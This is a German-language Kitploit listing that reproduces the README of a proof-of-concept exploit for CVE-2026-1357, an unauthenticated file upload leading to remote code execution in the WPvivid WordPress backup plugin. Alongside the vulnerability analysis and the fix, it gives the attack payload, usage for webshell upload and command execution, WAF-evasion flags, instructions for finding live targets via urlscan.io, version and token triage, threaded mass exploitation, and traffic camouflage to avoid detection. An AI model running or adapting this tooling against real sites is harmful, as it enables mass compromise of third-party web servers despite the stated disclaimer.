Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-1357 — Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload in WPvivid Backup & Migration, der zu Remote-Code-Ausführung führt. Enthält ein eigenständiges Python-Skript, WAF-Umgehungstechniken und eine dockerisierte verwundbare Laborumgebung zur Autorisierung | Kitploit
Tools/GitHubGitHub/sahmsec/cve-2026-1357
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubsahmsec/cve-2026-1357

CVE-2026-1357

Repository anzeigen
120vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Proof-of-Concept-Exploit für CVE-2026-1357, einen nicht authentifizierten beliebigen Datei-Upload in WPvivid Backup & Migration, der zu Remote-Code-Ausführung führt. Enthält ein eigenständiges Python-Skript, WAF-Umgehungstechniken und eine dockerisierte verwundbare Laborumgebung zur Autorisierung

Teilen

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Nicht authentifizierter beliebiger Datei-Upload → RCE

PoC für CVE-2026-1357 (CVSS 9.8 Kritisch, CWE-434): ein nicht authentifizierter beliebiger Datei-Upload im WPvivid Backup & Migration Plugin für WordPress, der zu Remote Code Execution führt. Behoben in 0.9.124 (Changeset 3448386). Gemeldet von Lucas Montes über das Wordfence Bug Bounty Programm.

  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Rechtlicher Haftungsausschluss

Dieser Proof of Concept wird nur für autorisierte Sicherheitsforschung, Bildung und defensive Tests bereitgestellt.

  • Du musst Eigentümer des Zielsystems sein oder über explizite schriftliche Genehmigung des Systemeigentümers verfügen, bevor du dieses Tool gegen das System ausführst.
  • Unautorisierter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal (z. B. der Computer Fraud and Abuse Act in den USA, der Computer Misuse Act in Großbritannien und ähnliche Gesetze weltweit) und kann straf- und zivilrechtliche Konsequenzen haben.
  • Die Autoren und Mitwirkenden übernehmen keine Haftung für jeglichen Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Nutzung dieses Codes entstehen.
  • Durch die Nutzung dieser Software stimmst du zu, sie verantwortungsvoll und in Übereinstimmung mit allen geltenden Gesetzen zu verwenden.

Was die Schwachstelle ist

Der nicht authentifizierte send_to_site-Handler (includes/customclass/class-wpvivid-send-to-site.php) entschlüsselt einen vom Angreifer gelieferten Blob und schreibt den Inhalt von $params['data'] nach wp-content/wpvividbackups/<vom Angreifer kontrollierter Name> — ohne Authentifizierung, ohne Nonce und ohne Pfadbereinigung bei name.

Der beabsichtigte Schutz ist RSA: Die Nachricht muss mit einem zufälligen Sitzungsschlüssel verschlüsselt werden, der selbst mit dem Schlüssel der Website RSA-verschlüsselt ist. Der Fehler liegt in WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):

$key = $rsa->decrypt($key);          // returns FALSE on failure (bad key blob)
$rij = new Crypt_Rijndael();
$rij->setKey($key);                  // FALSE is treated as a null-byte key
return $rij->decrypt($data);

phpseclibs Crypt_RSA::decrypt() gibt false zurück, wenn der gelieferte Schlüssel-Blob nicht entschlüsselt werden kann (z. B. wenn openssl_private_decrypt() fehlschlägt), und das Plugin bricht nicht ab. false wird dann an Crypt_Rijndael::setKey() übergeben, wo strlen(false) → 0 → der Schlüssel wird auf 16 Null-Bytes aufgefüllt (AES-128, CBC-Modus, Null-IV). Ein Angreifer „verschlüsselt" die Nutzlast daher mit einem vollständig vorhersehbaren Null-Schlüssel — ohne Kenntnis des tatsächlichen Website-Schlüssels.

Die Nutzlast ist JSON:

{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
 "file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}

name wird ohne Bereinigung in den Pfad eingefügt (str_replace('wpvivid','wpvivid_temp', $name) schreibt nur die "wpvivid"-Teilzeichenkette um), sodass ../../ aus wp-content/wpvividbackups/ in das Webroot entkommt. Wenn file_size/md5 übereinstimmen, wird die temporäre Datei in den vom Angreifer gewählten Namen umbenannt → öffentlich zugängliches PHP → RCE.

Der Fix (Changeset 3448386) bricht ab, wenn der RSA-Schritt fehlschlägt:

if ($key === false || empty($key)) {
    return false;
}

Anforderungen

Ziel:

  • WPvivid Backup & Migration ≤ 0.9.123
  • Die Option wpvivid_api_token muss vorhanden und nicht abgelaufen sein — wird erstellt, wenn ein Administrator unter WPvivid → Einstellungen → Auto-Migration auf Generieren klickt (häufig auf Websites, die die Migrationsfunktion nutzen)
  • PHP-Dateiausführung im Webroot (Standard auf den meisten Hostings)

Angreifer:

  • Python 3 (nur Standardbibliothek)

Verwendung

script.py ist vollständig eigenständig: nur Standardbibliothek, keine lokalen Importe, keine externen Dateien. Einfache positionelle CLI:

# einzelnes Ziel
python script.py https://target.example.com

# benutzerdefinierter Befehl
python script.py https://target.example.com --command "uname -a"

# Stapelmodus (eine URL pro Zeile) -> success.txt / failed.txt
python script.py sites.txt --threads 10

# WAF-Umgehung: prozentkodierte Parameternamen/-werte oder Multipart-Body
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart

# Webshell nach dem Test selbst löschen
python script.py https://target.example.com --cleanup

Exit-Codes: 0 verwundbar, 1 andernfalls.

Labor

../lab/ enthält ein dockerisiertes verwundbares Ziel (WordPress 6.8 + WPvivid 0.9.123-Quellcode aus plugins/):

cd ../lab
docker compose up -d
# WordPress-Installation unter http://localhost:8090/ abschließen
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'

cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id

Zielerkennung

Verifizierte funktionierende Quelle (live getestet, kein Konto erforderlich):

  • urlscan.io — in einem Browser öffnen: https://urlscan.io/search/#filename:wpvivid-backuprestore ~74 indizierte Seiten, die auf das Plugin-Slug verweisen; durchklicken und die Hostnamen sammeln. Jede Ergebnis-URL beginnt mit dem Plugin-Pfad (/wp-content/plugins/wpvivid-backuprestore/), sodass die Host-Extraktion einfach ist.

Queries, die getestet wurden und KEINE Ziele liefern (absichtlich ausgeschlossen): Google/Bing-Dorks (inurl: liefert nur die eigenen wordpress.org-Seiten des Plugins oder eine Bot-Wand), DuckDuckGo (gleich), Shodan http.html: (indiziert abgeschnittenes HTML, null Treffer), Wayback CDX-Wildcard (leer), PublicWWW (Gast-Scraping blockiert).

Die gesammelten Hosts an Triage füttern (in script.py als --triage integriert), das für jede Website prüft:

  1. Version — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123 (unauth-Check mit geringem Rauschen; ?ver=-Asset-Query-Strings im HTML sind der Fallback)
  2. Token — Müll-POST wpvivid_action=send_to_site&wpvivid_content=AAAA: JSON-Antwort (The key is invalid.) = wpvivid_api_token vorhanden; leer = kein Token / Plugin inaktiv / WAF hat den Probe abgeworfen

Nur Websites, die <= 0.9.123 und Token-aktiv sind, werden in in-scope.txt geschrieben, dann:

python script.py sites.txt --triage --threads 10   # → in-scope.txt
python script.py in-scope.txt --threads 5

Netzwerk-Überleben

Techniken, die von einem langlebigen Uploader aus 2025 übernommen wurden, der in freier Wildbahn weiter funktionierte (gleicher Autor):

  • AJAX-Tarnung beim Upload-POST: X-Requested-With: XMLHttpRequest, Accept: application/json, */*;q=0.1, Same-Origin-Referer, Browser-UA
  • Nachfolgende Shell-GETs tragen einen Same-Origin-Referer
  • Threaded-Stapelmodus (--threads N) mit kurzen Timeouts pro Anfrage
  • success.txt / failed.txt werden im Stapelmodus geschrieben, nur verifizierte Shells werden als Erfolg aufgezeichnet (wie die success-Datei des Originals)
  • Zufällige 12-Hex-Dateinamen und pro-Upload-Shell-Parameternamen
  • --encode / --multipart für Request-Form-Umgehung

Verifiziert gegen ein Live-mod_security (OWASP CRS Paranoia 1) Labor

Tool herunterladen